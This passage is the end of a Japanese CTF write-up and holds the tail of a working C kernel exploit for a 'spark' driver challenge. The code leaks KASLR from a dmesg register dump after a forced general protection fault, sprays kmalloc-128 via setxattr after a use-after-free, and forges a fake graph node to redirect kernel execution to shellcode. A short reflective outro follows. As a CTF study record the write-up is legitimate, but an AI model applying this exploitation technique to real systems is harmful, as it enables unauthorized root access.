180[    %f] R10: %lx R11: %lx R12: %lx\n\
181[    %f] R13: %lx R14: %lx R15: %lx";
182  float fs[0x10];
183  printf("[+] leaking KASLR via dmesg...\n");
184  system("dmesg | grep -A13 \"general protection\" | grep -A20 RSP > /tmp/dmesg_leak");
185  FILE *fp = fopen("/tmp/dmesg_leak", "r");
186  fscanf(fp, format, \
187  fs, &lk_regs.sp, &lk_regs.flags,  fs, &lk_regs.ax, &lk_regs.bx, &lk_regs.cx, \
188  fs, &lk_regs.dx, &lk_regs.si, &lk_regs.di,  fs, &lk_regs.bp, &lk_regs.r8, &lk_regs.r9, \
189  fs, &lk_regs.r10, &lk_regs.r11, &lk_regs.r12,  fs, &lk_regs.r13, &lk_regs.r14, &lk_regs.r15);
190  fclose(fp);
191  print_regs(&lk_regs);
192}
193
194void forge_fake_node(struct node_struct *fake_node, ulong finalized_idx){
195  fake_node->index = 0xdeadbeef;
196  fake_node->refcnt = 0xdeadbeef;
197  fake_node->is_finalized = 1;    // prevent deeper traversal.
198  fake_node->num_edge = 0;
199  fake_node->prev_edge = NULL;
200  fake_node->next_edge = NULL;
201  fake_node->finalized_idx = finalized_idx;
202  fake_node->info = NULL;
203  memset(&fake_node->mutex_nb, '\x00', 0x20);
204  memset(&fake_node->mutex_state, '\x00', 0x20);
205}
206
207#define ALLOC_KMALLOC_128(NUM) for(int i=0; i<NUM; ++i) open(DEV_PATH, O_RDWR);
208
209int main(int argc, char *argv[]) {
210  if(argc == 2){
211    // invoke #GPF and Oops in the child and leak KASLR via dmesg
212    // FYI: dmesg is restricted to adm group on the latest Ubuntu by default.
213    // cf: https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-20.10-Restrict-dmesg
214    invoke_gpf();
215    exit(0);    // unreachable
216  }else{
217    const char *cmd = malloc(0x100);
218    sprintf(cmd, "%s gpf", argv[0]);
219    system(cmd); // cause #GPF
220    leak_kaslr();
221  }
222
223  for(int i = 0; i < N; i++) {
224    fd[i] = open(DEV_PATH, O_RDWR);
225    assert(fd[i]);
226  }
227
228  // distance array became the size of 0x80
229  _link(fd[1], fd[3], 0x1);       // fd[2] is used to retrieve the very heap leaked by R11
230  for(int ix=3; ix<0x11; ++ix){
231    _link(fd[ix], fd[ix+1], 0x1);
232  }
233  _link(fd[0], fd[1], (ulong)shellcode + 8);     // this link should be at the very last
234  close(fd[0]);   // vuln
235
236  // forge fake node
237  ulong write_target = lk_regs.sp - spark_graph_query_stack_offset;
238  forge_fake_node(&fake_node0,(write_target - lk_regs.r11) / sizeof(ulong));
239  ALLOC_KMALLOC_128(0x12);
240
241  // retrieve fd[0]'s node(private_data)
242  setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);
243  close(fd[2]);       // retrieve the very heap leaked by R11 when #GPF.
244  _finalize(fd[1]);
245  // now, node1.info->nodes are... node1 -> node3 -> node4 -> node5 -> ... -> node0x11 (0x10)
246
247  _query(fd[1], fd[1], fd[9]);
248  // distance array (8*0x10) is kmalloced.
249  // first, node1 is checked and distance[0] = -1.
250  // then,  node0 is checked and distance[target] = shellcode.
251
252  NIRUGIRI();
253  return 0;
254}

アウトロ Link to this heading

書いてしまえば単純だけど、デバフォなしでデバッグするのはだいぶしんどかったです。多分 kernel の pro からすれば初歩も初歩の話なんだろうけど、今までやんわりとで使ってきたスラブアロケタについて改めてコードベースで調べてデバッグできたのは今後役に立つと嬉しいねって近所の羊が言っておりました。 最近は CTF のモチベが低下していることもあり、なにか目標を決めて問題を解いて行こうと思っています。kernel 強化月間のため何か良い感じの kernel 問題集ないかなぁと思っていたら、hama さんのブログ に良さげな kernel(+qemu)の問題リストがあったため、これをぼちぼち解いていこうと思います。

ここまで書いてきましたが、プイプイモルカーって、なんですか??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

参考 Link to this heading